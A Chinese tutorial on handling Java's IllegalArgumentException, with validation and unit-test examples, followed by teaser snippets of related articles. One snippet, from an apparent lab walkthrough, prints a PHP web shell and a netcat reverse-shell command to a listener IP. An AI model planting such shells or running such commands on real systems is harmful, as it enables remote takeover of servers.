【Java】解决Java报错:IllegalArgumentException

文章目录
- 引言
- 1. 错误详解
- 2. 常见的出错场景
- 2.1 非法的参数值
- 2.2 空值或 `null` 参数
- 2.3 非法的数组索引
- 3. 解决方案
- 3.1 参数验证
- 3.2 使用自定义异常
- 3.3 使用Java标准库中的 `Objects` 类
- 4. 预防措施
- 4.1 编写防御性代码
- 4.2 使用注解和检查工具
- 4.3 单元测试
- 结语
引言
在Java编程中,IllegalArgumentException 是一种常见的运行时异常,通常发生在传递非法或不适当的参数给方法时。这类错误提示为:“IllegalArgumentException: argument is invalid”,意味着你传递给方法的参数不符合预期的格式或范围。本文将详细探讨IllegalArgumentException的成因、解决方案以及预防措施,帮助开发者理解和避免此类问题,从而提高代码的健壮性和可靠性。
1. 错误详解
IllegalArgumentException 是一种由 Java 运行时环境抛出的异常,表示程序传递给方法的参数不合法或不适合。该异常通常在方法中进行参数验证时抛出,以防止方法收到不合适的输入。
2. 常见的出错场景
2.1 非法的参数值
最常见的情况是传递给方法的参数值不符合预期的范围或格式。
public class Main {public static void main(String[] args) {setAge(-5); // 传递非法的年龄值,将抛出IllegalArgumentException}public static void setAge(int age) {if (age < 0 || age > 150) {throw new IllegalArgumentException("年龄必须在0到150之间");}System.out.println("年龄设置为: " + age);}
}
2.2 空值或 null 参数
传递空值或 null 给不接受 null 的方法参数时,也会导致 IllegalArgumentException。
public class Main {public static void main(String[] args) {printName(null); // 传递null值,将抛出IllegalArgumentException}public static void printName(String name) {if (name == null) {throw new IllegalArgumentException("名字不能为空");}System.out.println("名字是: " + name);}
}
2.3 非法的数组索引
当传递非法的索引值给数组操作方法时,也会抛出 IllegalArgumentException。
public class Main {public static void main(String[] args) {int[] numbers = {1, 2, 3};setArrayValue(numbers, -1, 10); // 传递非法的索引值,将抛出IllegalArgumentException}public static void setArrayValue(int[] array, int index, int value) {if (index < 0 || index >= array.length) {throw new IllegalArgumentException("索引超出数组范围");}array[index] = value;}
}
3. 解决方案
解决IllegalArgumentException的关键在于确保传递给方法的参数符合方法的预期,并在必要时进行适当的参数验证。
3.1 参数验证
在方法内部进行参数验证,以确保传递的参数合法。如果参数不合法,则抛出详细的 IllegalArgumentException。
public class Main {public static void main(String[] args) {try {setAge(-5);} catch (IllegalArgumentException e) {System.out.println("捕获到异常: " + e.getMessage());}}public static void setAge(int age) {if (age < 0 || age > 150) {throw new IllegalArgumentException("年龄必须在0到150之间");}System.out.println("年龄设置为: " + age);}
}
3.2 使用自定义异常
在某些情况下,使用自定义异常可以提供更有意义的错误信息和处理逻辑。
public class InvalidAgeException extends IllegalArgumentException {public InvalidAgeException(String message) {super(message);}
}public class Main {public static void main(String[] args) {try {setAge(-5);} catch (InvalidAgeException e) {System.out.println("捕获到自定义异常: " + e.getMessage());}}public static void setAge(int age) {if (age < 0 || age > 150) {throw new InvalidAgeException("年龄必须在0到150之间");}System.out.println("年龄设置为: " + age);}
}
3.3 使用Java标准库中的 Objects 类
Java提供了一些工具类,如 Objects 类,可以用于简化参数验证。
import java.util.Objects;public class Main {public static void main(String[] args) {try {printName(null);} catch (IllegalArgumentException e) {System.out.println("捕获到异常: " + e.getMessage());}}public static void printName(String name) {Objects.requireNonNull(name, "名字不能为空");System.out.println("名字是: " + name);}
}
4. 预防措施
4.1 编写防御性代码
在编写方法时,确保对所有输入参数进行验证,以确保它们符合预期的范围和格式。
public class StringUtils {public static void checkStringNotEmpty(String str, String message) {if (str == null || str.isEmpty()) {throw new IllegalArgumentException(message);}}
}
4.2 使用注解和检查工具
利用注解(如 @NotNull、@NonNull)和静态分析工具(如 FindBugs、SonarQube),可以在编译时和代码检查时发现潜在的非法参数问题。
import org.jetbrains.annotations.NotNull;public class Main {public static void printName(@NotNull String name) {System.out.println("名字是: " + name);}
}
4.3 单元测试
编写单元测试来验证方法的参数验证逻辑,确保代码在各种边界条件下都能正确运行。
import org.junit.Test;
import static org.junit.Assert.*;public class MainTest {@Test(expected = IllegalArgumentException.class)public void testSetAgeNegative() {Main.setAge(-5);}@Test(expected = IllegalArgumentException.class)public void testPrintNameNull() {Main.printName(null);}@Testpublic void testSetAgeValid() {Main.setAge(25); // 不应抛出异常}
}
结语
理解并有效处理IllegalArgumentException对于编写健壮的Java程序至关重要。通过本文提供的解决方案和预防措施,开发者可以有效避免和解决这类异常,提高代码质量和可靠性。希望本文能帮助你更好地理解和处理非法参数问题,从而编写出更加可靠的Java应用程序。
相关文章:
【Java】解决Java报错:IllegalArgumentException
文章目录 引言1. 错误详解2. 常见的出错场景2.1 非法的参数值2.2 空值或 null 参数2.3 非法的数组索引 3. 解决方案3.1 参数验证3.2 使用自定义异常3.3 使用Java标准库中的 Objects 类 4. 预防措施4.1 编写防御性代码4.2 使用注解和检查工具4.3 单元测试 结语 引言 在Java编程…...
完美的移动端 UI 风格让客户无可挑剔
完美的移动端 UI 风格让客户无可挑剔...
【React】在 React 组件中,怎么使用useContext
在React中,useContext 是一个Hook,它允许你无需显式地通过组件树的每一层来传递 props,就能将值深入到组件树的任何位置。要使用 useContext,你需要先创建一个 Context 对象,然后使用这个对象提供的 Provider 组件来包裹你的应用中的一部分。然后,任何在这个 Provider 下…...
【数据结构】栈的应用
目录 0 引言 1 栈在括号匹配中的应用 2 栈在表达式求值中的应用 2.1 算数表达式 2.2 中缀表达式转后缀表达式 2.3 后缀表达式求值 3 栈在递归中的应用 3.1 栈在函数调用中的作用 3.2 栈在函数调用中的工作原理 4 总结 0 引言 栈(Stack)是一…...
Opencv基本操作
Opencv基本操作 导入并使用opencv进行图像与视频的基本处理 opencv读取的格式是BGR import cv2 #opencv读取的格式是BGR import numpy import matplotlib.pyplot as plt %matplotlib inline图像读取 通过cv2.imread()来加载指定位置的图像信息。 img cv2.imread(./res/ca…...
2779. 数组的最大美丽值
简单翻译一下题目意思: 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]k] 区间中的任何数,区间左右是闭的。在每个数字可以替换的前提下,返回数组中最多的重复数字的数量。 第一想法是用一个哈希表,Key 是可以被替换的数…...
数据库修复实例(航线修复)
修复目标 修复回音群岛 (Echo Isles) 到 赞达拉港 (Port of Zandalar) 的航线 SET TRANSPORT_GUID : 32; SET TRANSPORT_ENTRY : 272677; SET CGUID : 850000;-- Adjust transports DELETE FROM transports WHERE guid TRANSPORT_GUID; INSERT INTO transports (guid, entry…...
视频网站下载利器yt-dlp参数详解
yt-dlp 是一个强大的命令行工具,用来下载 YouTube 和其他网站上的视频和音频。它拥有丰富的参数,可以定制下载行为,满足各种需求。本文将详细介绍 yt-dlp 的参数使用。 一、基本参数 -f, –format FORMAT: 指定下载格式,可以用视…...
可解析PHP的反弹shell方法
这里拿vulnhub-DC-8靶场反弹shell,详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar,POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...
AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集
AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...
Oracle备份失败处理,看这一篇就够了!
作者:IT邦德 中国DBA联盟(ACDU)成员,10余年DBA工作经验, Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主,全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复, 安装迁移,性能优化、故障…...
后端中缓存的作用以及基于Spring框架演示实现缓存
缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...
Python:基础爬虫
Python爬虫学习(网络爬虫(又称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...
机器人运动学笔记
一、建模 参考资料:https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样,主要的区别在于SDH中坐标系在连杆末端,MDH中坐标系在连杆首端。虽然这里只是给出z轴,但是由于后面原点位…...
webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)
考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...
stm32MP135裸机编程:启动流程分析
0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式: 注: UART和USB启动并不是指通过UART/USB加载程序,而是通过UA…...
在Pycharm使用Github Copilot
文章目录 1.GitHub Copilot 是什么2.注册GitHub Copilot3.官方使用文档4.安装 GitHub Copilot插件5.在Pycharm中使用6.相关功能键7.启用或禁用 GitHub Copilot 1.GitHub Copilot 是什么 GitHub Copilot 是一款 AI 编码助手,可帮助你更快、更省力地编写代码ÿ…...
Docker镜像构建:Ubuntu18.04+python3.10
1、编写 Dockerfile # 使用Ubuntu 18.04作为基础镜像 FROM ubuntu:18.04RUN apt-get update && apt-get install -y \build-essential \curl \zlib1g-dev \libssl-dev \&& rm -rf /var/lib/apt/lists/*ENV PYTHON_VERSION3.10.8RUN curl -O https://www.pytho…...
如何进行LLM大模型推理优化
解密LLM大模型推理优化本质 一、LLM推理的本质以及考量点 LLM推理聚焦Transformer架构的Decoder以生成文本。过程分两步:首先,模型初始化并加载输入文本;接着,进入解码阶段,模型自回归地生成文本,直至满足…...
QLoRA:高效的LLMs微调方法,48G内存可调65B 模型
文章:https://arxiv.org/pdf/2305.14314.pdf 代码:https://github.com/artidoro/qlora概括 QLORA是一种有效的微调方法,它减少了内存使用,足以在单个48GB GPU上微调65B参数模型,同时保留完整的16位微调任务性能。QLOR…...
<6>-MySQL表的增删查改
目录 一,create(创建表) 二,retrieve(查询表) 1,select列 2,where条件 三,update(更新表) 四,delete(删除表…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...
基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
Java 二维码
Java 二维码 **技术:**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...
Java毕业设计:WML信息查询与后端信息发布系统开发
JAVAWML信息查询与后端信息发布系统实现 一、系统概述 本系统基于Java和WML(无线标记语言)技术开发,实现了移动设备上的信息查询与后端信息发布功能。系统采用B/S架构,服务器端使用Java Servlet处理请求,数据库采用MySQL存储信息࿰…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...
c++第七天 继承与派生2
这一篇文章主要内容是 派生类构造函数与析构函数 在派生类中重写基类成员 以及多继承 第一部分:派生类构造函数与析构函数 当创建一个派生类对象时,基类成员是如何初始化的? 1.当派生类对象创建的时候,基类成员的初始化顺序 …...
